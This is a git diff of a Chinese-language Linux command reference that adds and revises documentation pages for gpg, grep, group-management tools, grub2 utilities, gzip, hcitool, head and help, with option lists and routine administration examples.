+1113,3 @@ git config --global core.quotepath false - [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6) - [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710) - [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email) - - diff --git a/command/gpasswd.md b/command/gpasswd.md index c523f433de1..9d1d8616619 100644 --- a/command/gpasswd.md +++ b/command/gpasswd.md @@ -7,13 +7,13 @@ Linux下工作组文件的管理工具 **gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。 -### 语法 +### 语法 ```shell gpasswd(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:添加用户到组; @@ -24,11 +24,11 @@ gpasswd(选项)(参数) -R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。 ``` -### 参数 +### 参数 组:指定要管理的工作组。 -### 实例 +### 实例 如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。 @@ -60,4 +60,3 @@ gpasswd -a user_name group_name ``` - \ No newline at end of file diff --git a/command/gpg.md b/command/gpg.md new file mode 100644 index 00000000000..242d3cfc4dc --- /dev/null +++ b/command/gpg.md @@ -0,0 +1,88 @@ +gpg +=== + +可用于签名、检查、加密或解密的工具 + +### 支持算法: + +Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA` +Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`, + `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256` +Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224` +Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2` + +### 语法 +```shell +gpg [选项] [文件...] +``` + +### 参数: + +```shell + -s, --sign 签名 + --clear-sign 生成明文签名 + -b, --detach-sign 生成一个独立的签名 + -e, --encrypt 加密数据 + -c, --symmetric 仅使用对称密码进行加密 + -d, --decrypt 解密数据 (默认) + --verify 验签 + -k, --list-keys 列出密钥 + --list-signatures 列出密钥和签名 + --check-signatures 列出并检查密钥签名 + --fingerprint 列出密钥和指纹 + -K, --list-secret-keys 列出私钥 + --generate-key 生成新的密钥对 + --quick-generate-key 快速生成新的密钥对 + --quick-add-uid 快速添加新的用户ID + --quick-revoke-uid 快速撤销用户ID + --quick-set-expire 快速设置新的过期日期 + --full-generate-key 全功能密钥对生成 + --generate-revocation 生成撤销证书 + --delete-keys 从公钥环中移除密钥 + --delete-secret-keys 从私钥环中移除密钥 + --quick-sign-key 快速签名密钥 + --quick-lsign-key 快速在本地签名密钥 + --quick-revoke-sig 快速撤销密钥签名 + --sign-key 签名密钥 + --lsign-key 本地签名密钥 + --edit-key 签名或编辑密钥 + --change-passphrase 更改密码短语 + --export 导出密钥 + --send-keys 将密钥导出到密钥服务器 + --receive-keys 从密钥服务器导入密钥 + --search-keys 在密钥服务器上搜索密钥 + --refresh-keys 从密钥服务器更新所有密钥 + --import 导入/合并密钥 + --card-status 打印卡片状态 + --edit-card 更改卡片上的数据 + --change-pin 更改卡片的PIN码 + --update-trustdb 更新信任数据库 + --print-md 打印消息摘要 + --server 以服务器模式运行 + --tofu-policy VALUE 为密钥设置TOFU策略 +``` + +### 选项: + +```shell + -a, --armor 指定ascii格式的输出 + -r, --recipient USER-ID 对特定用户ID的加密 + -u, --local-user USER-ID 使用 USER-ID 进行签名或解密 + -z N 设置压缩级别为N(0表示禁用) + --textmode 使用规范文本模式 + -o, --output FILE 将输出写入文件FILE + -v, --verbose 详细模式 + -n, --dry-run 不做任何更改 + -i, --interactive 在覆盖前提示 + --openpgp 使用严格的OpenPGP行为 +``` + +### 示例: + +```shell + -se -r Bob [file] 为用户Bob签名并加密 + --clear-sign [file] 生成明文签名 + --detach-sign [file] 生成一个独立的签名 + --list-keys [names] 显示密钥 + --fingerprint [names] 显示指纹 +``` diff --git a/command/gpm.md b/command/gpm.md index 6b01e8cd50f..adffb8aee6f 100644 --- a/command/gpm.md +++ b/command/gpm.md @@ -7,13 +7,13 @@ gpm **gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。 -### 语法 +### 语法 ```shell gpm(选项) ``` -### 选项 +### 选项 ```shell -a:设置加速值; @@ -24,4 +24,3 @@ gpm(选项) ``` - \ No newline at end of file diff --git a/command/grep.md b/command/grep.md index c7c5b065495..e52082e6ce1 100644 --- a/command/grep.md +++ b/command/grep.md @@ -5,9 +5,9 @@ grep ## 补充说明 -**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能多种命令配合使用,使用上十分灵活。 +**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。 -### 选项 +### 选项 ```shell -a --text # 不要忽略二进制数据。 @@ -28,6 +28,7 @@ grep -l --file-with-matches # 列出文件内容符合指定的范本样式的文件名称。 -L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。 -n --line-number # 在显示符合范本样式的那一列之前,标示出该列的编号。 +-P --perl-regexp # PATTERN 是一个 Perl 正则表达式 -q --quiet或--silent # 不显示任何信息。 -R/-r --recursive # 此参数的效果和指定“-d recurse”参数相同。 -s --no-messages # 不显示错误信息。 @@ -49,7 +50,7 @@ $ # 锚定行的结束 如:'grep$' 匹配所有以grep结尾的行。 * # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 .* # 一起用代表任意字符。 [] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 -[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。 +[^] # 匹配一个不在指定范围内的字符,如:'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头,紧跟 rep 的行 \(..\) # 标记匹配字符,如'\(love\)',love被标记为1。 \< # 锚定单词的开始,如:'\ # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 @@ -95,6 +96,12 @@ grep -E "[1-9]+" # 或 egrep "[1-9]+" ``` +使用正则表达式 **-P** 选项: + +```shell +grep -P "(\d{3}\-){2}\d{4}" file_name +``` + 只输出文件中匹配到的部分 **-o** 选项: @@ -112,6 +119,12 @@ line. grep -c "text" file_name ``` +搜索命令行历史记录中 输入过 `git` 命令的记录: + +```shell +history | grep git +``` + 输出包含匹配字符串的行数 **-n** 选项: ```shell @@ -128,7 +141,7 @@ grep "text" -n file_1 file_2 ```shell echo gun is not unix | grep -b -o "not" 7:not -#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 +#一行中字符串的字符偏移是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 ``` 搜索多个文件并查找匹配文本在哪些文件中: @@ -137,7 +150,7 @@ echo gun is not unix | grep -b -o "not" grep -l "text" file1 file2 file3... ``` -### grep递归搜索文件 +### grep递归搜索文件 在多级目录中对文本进行递归搜索: @@ -158,6 +171,7 @@ echo "hello world" | grep -i "HELLO" ```shell echo this is a text line | grep -e "is" -e "line" -o is +is line #也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。 @@ -239,4 +253,4 @@ b ``` - + diff --git a/command/groupadd.md b/command/groupadd.md index 27c818c3476..9cc1bce1bbe 100644 --- a/command/groupadd.md +++ b/command/groupadd.md @@ -7,26 +7,26 @@ groupadd **groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。 -### 语法 +### 语法 ```shell groupadd(选项)(参数) ``` -### 选项 +### 选项 ```shell -g:指定新建工作组的id; -r:创建系统工作组,系统工作组的组ID小于500; --K:覆盖配置文件“/ect/login.defs”; +-K:覆盖配置文件“/etc/login.defs”; -o:允许添加组ID号不唯一的工作组。 ``` -### 参数 +### 参数 组名:指定新建工作组的组名。 -### 实例 +### 实例 建立一个新组,并设置组ID加入系统: @@ -37,4 +37,3 @@ groupadd -g 344 jsdigname 此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。 - \ No newline at end of file diff --git a/command/groupdel.md b/command/groupdel.md index 6a191582280..8070a4860a6 100644 --- a/command/groupdel.md +++ b/command/groupdel.md @@ -5,19 +5,19 @@ groupdel ## 补充说明 -**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。 +**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组是某些用户的主组,则必须先删除这些用户或改变其主组后,才能删除该群组;如果该群组仅为某些用户的附加组,则可以直接删除,这些用户中的该组信息也会被删除。 -### 语法 +### 语法 ```shell groupdel(参数) ``` -### 参数 +### 参数 组:要删除的工作组名。 -### 实例 +### 实例 ```shell groupadd damon //创建damon工作组 @@ -25,4 +25,3 @@ groupdel damon //删除这个工作组 ``` - \ No newline at end of file diff --git a/command/groupmems.md b/command/groupmems.md new file mode 100644 index 00000000000..16acdb99820 --- /dev/null +++ b/command/groupmems.md @@ -0,0 +1,111 @@ +groupmems +=== + +管理用户主要组的成员 + +## 补充说明 + +`groupmems` 命令允许用户管理他/她自己的组成员列表,而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组(即来宾/来宾)的系统。 + +只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 + +### 语法 + +```shell +groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p +``` + +### 选项 + +```bash +-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 + +-d, --delete user_name +# 从组成员列表中删除用户。 +# 如果 /etc/gshadow 文件存在,用户将从组的成员和管理员列表中删除。 +# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 + +-g, --group group_name # 超级用户可以指定要修改的组成员列表。 +-l, --list # 列出组成员列表。 +-p, --purge # 从组成员列表中清除所有用户。 +# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 +``` + +## 配置 + +`/etc/login.defs` 中的以下配置变量会更改此工具的行为: + +```shell +MAX_MEMBERS_PER_GROUP (number) +``` + +每个组条目的最大成员数。 当达到最大值时,在 `/etc/group` 中启动一个新的组条目(行)(具有相同的名称、相同的密码和相同的 GID)。 + +默认值为 0,表示组中的成员数量没有限制。 + +此功能(拆分组)允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。 + +如果你需要强制执行这样的限制,你可以使用 25。 + +注意:并非所有工具都支持拆分组(即使在 Shadow 工具包中)。 除非你真的需要它,否则你不应该使用这个变量。 + +## 例子 + +groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中,以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 + +```shell +groupadd -r groups +chmod 2770 groupmems + +chown root.groups groupmems +groupmems -g groups -a gk4 +``` + +让我们创建一个新用户和一个新组并验证结果: + +```shell +useradd student +passwd student +groupadd staff +``` + +使用户 student 成为组人员的成员: + +```shell +groupmems -g staff -a student +groupmems -g staff -l +``` + +将用户添加到组: + +```shell +groupmems -a mike -g SUPPORT +groupmems --add mike -g SUPPORT +``` + +从组中删除/移除用户: + +```shell +groupmems -d mike SUPPORT -g SUPPORT +groupmems --delete mike SUPPORT -g SUPPORT +``` + +更改组名称: + +```shell +groupmems -g SUPPORT +``` + +从组中删除用户: + +```shell +groupmems -p -g SUPPORT +groupmems --purge -g SUPPORT +``` + +要列出组的成员: + +```shell +groupmems -l -g SUPPORT +groupmems --list -g SUPPORT +``` diff --git a/command/groupmod.md b/command/groupmod.md index 3403fb45b4a..58df9d6b1ee 100644 --- a/command/groupmod.md +++ b/command/groupmod.md @@ -1,29 +1,88 @@ groupmod === -更改群组识别码或名称 +修改系统上的组定义 ## 补充说明 -**groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。 +**groupmod命令** 通过修改组数据库( /etc/group 与 /etc/gshadow )的相应条目来更改指定组的定义,例如GID,组成员,组名称,组密码等。 -### 语法 +### 语法 ```shell -groupmod(选项)(参数) +groupmod (选项) (参数) ``` -### 选项 +### 选项 ```shell --g<群组识别码>:设置欲使用的群组识别码; --o:重复使用群组识别码; --n<新群组名称>:设置欲使用的群组名称。 +-a, --append: 与 -U 选项配合使用,将指定用户追加到现有成员列表,而不是采用默认的覆盖方式。 +-g, --gid GID: 将组修改为指定值,必须是非负整数且唯一(除非同时使用 -o 选项),以该组为主要组的成员会自动更新以保持该组。 +-n, --new-name 新组名称: 设置要修改为的组名称。 +-o: 可以设置重复的gid; +-p, --password 密码: 设置组密码(也可以直接修改 /etc/gshadow 文件),密码必须是 crypt 加密后的密文,用于配合 newgrp 命令让非组成员临时切换到该组,但该机制在现代系统中已不推荐使用。 +-U, --users user1,user2...: 以逗号分隔的用户列表,将组成员覆盖为该列表;若同时指定 -a 选项,则改为追加到现有成员列表中。 ``` -### 参数 +### 参数 -组名:指定要修改的工作的组名。 +组名:指定要修改的组。 +### 实例 - \ No newline at end of file +修改 group1 的GID + +```shell +groupmod -g 1003 group1 +``` + +修改 group2 的GID为重复的gid 1003 + +``` shell +groupmod -g 1003 -o group2 +``` + +修改 group2 名称为 group3 + +```shell +groupmod -n group3 group2 +``` + +覆盖 group3 的组成员为 user1 + +```shell +groupmod -U user1 group3 +``` + +追加 user2 user3 到 group3 + +```shell +groupmod -a -U user2,user3 group3 +``` + +### 说明 + +部分系统(如 Ubuntu 22.04)上的`groupmod`命令可能不支持 -a 和 -U 选项,可以使用`gpasswd`命令代替。 + +```shell +groupmod -U user1,user2 groupname +``` + +等价于 + +```shell +gpasswd -M "" groupname +gpasswd -M user1,user2 groupname +``` + +```shell +groupmod -a -U user1,user2,user3 groupname +``` + +等价于 + +```shell +gpasswd -a user1 groupname +gpasswd -a user2 groupname +gpasswd -a user3 groupname +``` diff --git a/command/groups.md b/command/groups.md index 58c1e570656..19e533dba0d 100644 --- a/command/groups.md +++ b/command/groups.md @@ -1,37 +1,46 @@ groups === -用来打印指定用户所属的工作组 +打印指定用户所在组的名称。 -## 补充说明 - -**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 - -### 语法 +## 概要 ```shell -groups(选项)(参数) +groups [OPTION]... [username]... ``` -### 选项 +## 主要用途 + +- 打印指定用户所在组的名称。 + +## 选项 ```shell --help:显示命令的帮助信息; ---version:显示命令的版本信息。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 参数 +## 参数 -用户名:指定要打印所属工作组的用户名。 +username(可选):可以是一到多个,不提供时默认为当前用户。 -### 实例 +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 显示linux用户所属的组 ```shell -groups linux +[root@localhost ~]# groups linux linux : linux adm dialout cdrom plugdev lpadmin admin sambashare ``` +### 注意 + +1. 该命令等价于 `id -Gn`。 +2. 每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 +3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 groups`,`info coreutils 'groups invocation'`。 + - \ No newline at end of file diff --git a/command/grpck.md b/command/grpck.md index 91bec81a7c5..e8dc8aa152b 100644 --- a/command/grpck.md +++ b/command/grpck.md @@ -9,20 +9,20 @@ grpck grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 -### 语法 +### 语法 ```shell grpck(选项) ``` -### 选项 +### 选项 ```shell -r:只读模式; -s:排序组id。 ``` -### 实例 +### 实例 对组账号和影子文件进行验证: @@ -47,4 +47,3 @@ grpck: the files have been updated # 这时已经删除了错误的行,提示 ``` - \ No newline at end of file diff --git a/command/grpconv.md b/command/grpconv.md index b50f81e2aab..6468cf9462c 100644 --- a/command/grpconv.md +++ b/command/grpconv.md @@ -7,13 +7,13 @@ grpconv **grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。 -### 语法 +### 语法 ```shell grpconv ``` -### 实例 +### 实例 设置cdy组密码 @@ -37,4 +37,3 @@ cdy:123456:: # 已经移到影子文件了 注:gshadow, shadow只有root权限才可以查看。 - \ No newline at end of file diff --git a/command/grpunconv.md b/command/grpunconv.md index 5958b4a359d..b623ab61361 100644 --- a/command/grpunconv.md +++ b/command/grpunconv.md @@ -7,13 +7,13 @@ grpunconv **grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。 -### 语法 +### 语法 ```shell grpunconv ``` -### 实例 +### 实例 未关闭的情况 @@ -37,4 +37,3 @@ cdy:123456:1000: ``` - \ No newline at end of file diff --git a/command/grub.md b/command/grub.md index e7c75bc6e8c..9de9c456598 100644 --- a/command/grub.md +++ b/command/grub.md @@ -7,13 +7,13 @@ grub **grub命令** 是多重引导程序grub的命令行shell工具。 -### 语法 +### 语法 ```shell grub(选项) ``` -### 选项 +### 选项 ```shell --batch:打开批处理模式; @@ -29,7 +29,7 @@ grub(选项) --read-only:只读模式。 ``` -### 实例 +### 实例 利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。 @@ -69,4 +69,6 @@ boot 这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin` - \ No newline at end of file +### 参考资料 + +- 自由软件基金会 - grub 文档 diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md new file mode 100644 index 00000000000..80c9dd3c2f9 --- /dev/null +++ b/command/grub2-mkconfig.md @@ -0,0 +1,30 @@ +grub2-mkconfig +=== + +生成 grub.cfg 配置文件。 + +## 语法 + +```shell +用法: grub2-mkconfig [OPTION] +生成 grub 配置文件 + + -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout] + -h, --help 打印这个文件并退出 + -v, --version 打印版本信息并退出 + +报告 Bug 通过 . + +``` + +## 实例 + +生成新的grub配置文件 + +```shell +grub2-mkconfig -o /boot/grub2/grub.cfg + +# 或者 + +grub2-mkconfig > /boot/grub2/grub.cfg +``` diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md new file mode 100644 index 00000000000..8cbd5697cb9 --- /dev/null +++ b/command/grub2-set-default.md @@ -0,0 +1,45 @@ +grub2-set-default +=== + +设置系统默认的启动内核 + +## 语法 + +```shell +Usage: grub2-set-default [OPTION] MENU_ENTRY +Set the default boot menu entry for GRUB. +This requires setting GRUB_DEFAULT=saved in /etc/default/grub. + + -h, --help print this message and exit + -v, --version print the version information and exit + --boot-directory=DIR expect GRUB images under the directory DIR/grub2 + instead of the /boot/grub2 directory + +MENU_ENTRY is a number, a menu item title or a menu item identifier. + +Report bugs to . + +``` + +## 实例 + +查看可选的系统内核: +```shell +# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg +CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core) +CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core) +CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core) +CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core) +``` + +grub2-set-default后面的序号从0开始。所以,如果想设置第一个选项为默认启动内核,则可以使用下面的命令: + +```shell +# grub2-set-default 0 +``` +如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2 + +重启系统 +```shell +~]# init 6 +``` \ No newline at end of file diff --git a/command/gunzip.md b/command/gunzip.md index 9c7b5c3a5af..4efa2da8fa4 100644 --- a/command/gunzip.md +++ b/command/gunzip.md @@ -7,13 +7,13 @@ gunzip **gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。 -### 语法 +### 语法 ```shell gunzip(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或——ascii:使用ASCII文字模式; @@ -32,11 +32,11 @@ gunzip(选项)(参数) -V或——version:显示版本信息; ``` -### 参数 +### 参数 文件列表:指定要解压缩的压缩包。 -### 实例 +### 实例 首先将`/etc`目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到`/opt`目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。 @@ -64,4 +64,3 @@ compressed uncompressed ratio uncompressed_name 通过上面的示例可以知道`gzip –d`等价于`gunzip`命令。 - \ No newline at end of file diff --git a/command/gzexe.md b/command/gzexe.md index c6658a9eef1..dcb26bc2b1e 100644 --- a/command/gzexe.md +++ b/command/gzexe.md @@ -7,21 +7,20 @@ gzexe **gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。 -### 语法 +### 语法 ```shell gzexe(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:解压缩被gzexe压缩过的可执行文件。 ``` -### 参数 +### 参数 文件:指定需要压缩的可执行文件。 - \ No newline at end of file diff --git a/command/gzip.md b/command/gzip.md index 89bee155669..4c946b80fe5 100644 --- a/command/gzip.md +++ b/command/gzip.md @@ -36,6 +36,7 @@ gzip(选项)(参数) --best:此参数的效果和指定“-9”参数相同; --fast:此参数的效果和指定“-1”参数相同。 -num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。 +-c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。 ``` ### 参数 @@ -82,5 +83,12 @@ gzip -rv test6 gzip -dr test6 ``` +保留原始文件,把压缩/解压流重定向到新文件 + +```shell +gzip -c aa > aa.gz +gzip -dc bb.gz > bb +``` + + - diff --git a/command/halt.md b/command/halt.md index dc3bba6fe42..8f71e43e4df 100644 --- a/command/halt.md +++ b/command/halt.md @@ -7,13 +7,13 @@ halt **halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。 -### 语法 +### 语法 ```shell halt(选项) ``` -### 选项 +### 选项 ```shell -d:不要在wtmp中记录; @@ -24,7 +24,7 @@ halt(选项) -w:仅在wtmp中记录,而不实际结束系统。 ``` -### 实例 +### 实例 ```shell halt -p # 关闭系统后关闭电源。 @@ -32,4 +32,3 @@ halt -d # 关闭系统,但不留下纪录。 ``` - \ No newline at end of file diff --git a/command/hcitool.md b/command/hcitool.md new file mode 100644 index 00000000000..1e21b9ebce3 --- /dev/null +++ b/command/hcitool.md @@ -0,0 +1,77 @@ +hcitool +=== + +hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。 + +## 安装 + +hcitool是一个Linux命令行工具,通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool,可以使用以下命令进行安装(debian系列发行示例) + +```bash +sudo apt-get install bluez +``` + +## 使用 +注意事项: +1. 使用ble相关命令需要提权如:lescan + + +### 语法 + +`hcitool [options] [command parameters]` + +### 命令 + +```bash + dev 显示本地设备 + inq 查询远程设备 + scan 扫描远程设备 + name 从远程设备获取名称 + info 从远程设备获取信息 + spinq 启动定期查询 + epinq 退出定期查询 + cmd 提交任意HCI命令 + con 显示活动连接 + cc 创建到远程设备的连接 + dc 断开与远程设备的连接 + sr 交换机中心/外围角色 + cpt 更改连接数据包类型 + rssi 显示连接rssi + lq 显示链路质量 + tpl 显示发射功率电平 + afh 显示afh通道图 + lp 设置/显示链接策略设置 + lst 设置/显示链接监控超时 + auth 请求身份验证 + enc 设置连接加密 + key 更改连接链接键 + clkoff 读取时钟偏移 + clock 读取本地或远程时钟 + lescan 启动LE扫描 + leinfo 获取LE远程信息 + lealadd 将设备添加到LE接受列表 + lealrm 从LE接受列表中删除设备 + lealsz LE接受列表的读取大小 + lealclr 清除LE接受列表 + +``` +### 常用简单示例 +1.扫描周围的蓝牙设备 + +`hcitool scan` + +2.通过mac地址连接到蓝牙设备 + +`hcitool cc ` + +3.显示当前蓝牙适配器信息 + +`hcitool dev` + +4.通过mac地址找到蓝牙名称 + +`hcitool name ` + +5.显示当前蓝牙活动连接信息 + +`hcitool con` diff --git a/command/hdparm.md b/command/hdparm.md index a2af8d50908..4b7ea235c9d 100644 --- a/command/hdparm.md +++ b/command/hdparm.md @@ -7,13 +7,13 @@ hdparm **hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。 -### 语法 +### 语法 ```shell hdparm(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定; @@ -21,7 +21,7 @@ hdparm(选项)(参数) -c:设定IDE32位I/O模式; -C:检测IDE硬盘的电源管理模式; -d<0或1>:设定磁盘的DMA模式; --f:将内存缓冲区的数据写入硬盘,并清楚缓冲区; +-f:将内存缓冲区的数据写入硬盘,并清除缓冲区; -g:显示硬盘的磁轨,磁头,磁区等参数; -h:显示帮助; -i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供; @@ -46,11 +46,11 @@ hdparm(选项)(参数) -Z:关闭某些Seagate硬盘的自动省电功能。 ``` -### 参数 +### 参数 设备文件:指定id驱动对应的设备文件名。 -### 实例 +### 实例 显示硬盘的相关设置: @@ -112,4 +112,3 @@ hdparm -m #参数值为整数值如8 /dev/sda ``` - \ No newline at end of file diff --git a/command/head.md b/command/head.md index f3144bf8aa5..f643353e2b1 100644 --- a/command/head.md +++ b/command/head.md @@ -1,30 +1,99 @@ head === -在屏幕上显示指定文件的开头若干行 +显示文件的开头部分。 -## 补充说明 +## 概要 -**head命令** 用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。 +```shell +head [OPTION]... [FILE]... +``` + +## 主要用途 -### 语法 +- 在未指定行数时默认显示前10行。 +- 处理多个文件时会在各个文件之前附加含有文件名的行。 +- 当没有文件或文件为`-`时,读取标准输入。 + +## 选项 ```shell -head(选项)(参数) +-c, --bytes=[-]NUM 显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。 +-n, --lines=[-]NUM 显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。 +-q, --quiet, --silent 不打印文件名行。 +-v, --verbose 总是打印文件名行。 +-z, --zero-terminated 行终止符为NUL而不是换行符。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 + +NUM可以有一个乘数后缀: +b 512 +kB 1000 +k 1024 +MB 1000*1000 +M 1024*1024 +GB 1000*1000*1000 +G 1024*1024*1024 +T、P、E、Z、Y等以此类推。 + +也可以使用二进制前缀: +KiB=K +MiB=M +以此类推。 ``` -### 选项 +## 参数 + +FILE(可选):要处理的文件,可以为一或多个。 + +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 ```shell --n<数字>:指定显示头部内容的行数; --c<字符数>:指定显示头部内容的字符数; --v:总是显示文件名的头信息; --q:不显示文件名的头信息。 +# 查看历史文件的前6行: +[user2@pc ~]$ head -n 6 ~/.bash_history +#1575425555 +cd ~ +#1575425558 +ls -lh +#1575425562 +vi ~/Desktop/ZhuangZhu-74.txt ``` -### 参数 +```shell +# 查看多个文件: +[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc +==> /allhome/user2/.bash_history <== +#1575425555 +cd ~ +#1575425558 +ls -lh +#1575425562 +vi ~/Desktop/ZhuangZhu-74.txt +#1575425566 +uptime +#1575425570 +find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \; + +==> /allhome/user2/.bashrc <== +# .bashrc + +# forbid use Ctrl+D to exit shell. +set -o ignoreeof + +# Source global definitions. +if [ -f /etc/bashrc ]; then + . /etc/bashrc +fi + +``` + + +### 注意 -文件列表:指定显示头部内容的文件列表。 +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 head`,`info coreutils 'head invocation'`。 - \ No newline at end of file diff --git a/command/help.md b/command/help.md index 3d74616c958..5cf580220b3 100644 --- a/command/help.md +++ b/command/help.md @@ -1,29 +1,55 @@ help === -显示帮助信息 +该命令是bash内建命令,用于显示bash内建命令的帮助信息。 ## 补充说明 -**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。 +**help命令** help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。 -### 语法 +### 语法 ```shell help(选项)(参数) ``` -### 选项 +### 选项 ```shell --s:输出短格式的帮助信息。仅包括命令格式。 +-d:显示内建命令的简要描述。 